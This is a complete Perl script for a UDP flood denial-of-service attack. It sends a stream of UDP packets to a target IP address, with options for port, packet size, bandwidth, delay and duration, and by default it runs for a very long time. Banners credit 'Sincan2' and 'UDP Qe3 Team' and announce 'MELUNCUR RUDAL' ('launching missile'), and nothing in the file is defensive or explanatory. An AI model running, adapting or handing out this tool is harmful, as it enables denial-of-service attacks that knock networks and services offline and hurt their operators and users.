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#!/usr/bin/perl
#####################################################
# udp flood.
######################################################
use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;
our $port = 0;
our $size = 0;
our $time = 0;
our $bw = 0;
our $help = 0;
our $delay= 0;
GetOptions(
"port=i" => \$port, # UDP port to use, numeric, 0=random
"size=i" => \$size, # packet size, number, 0=random
"bandwidth=i" => \$bw, # bandwidth to consume
"time=i" => \$time, # time to run
"delay=f"=> \$delay, # inter-packet delay
"help|?" => \$help); # help
my ($ip) = @ARGV;
if ($help || !$ip) {
print <<'EOL';
__
Para utilizar use:
perl udp.pl IP PORTA 65500
EOL
exit(1);
}
if ($bw && $delay) {
print "WARNING: computed packet size overwrites the --size parameter ignored\n";
$size = int($bw * $delay / 8);
} elsif ($bw) {
$delay = (8 * $size) / $bw;
}
$size = 256 if $bw && !$size;
($bw = int($size / $delay * 8)) if ($delay && $size);
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "TARGET ip: $ip " . ($port ? $port : "By:") . " Sincan2 " .
($size ? "$size-byte" : "UDP Qe3 Team") . " WEDHOES" . ($time ? " for $time seconds" : "") . "\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;
print "MELUNCUR RUDAL \n" unless $time;
die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
usleep(1000 * $delay) if $delay;
}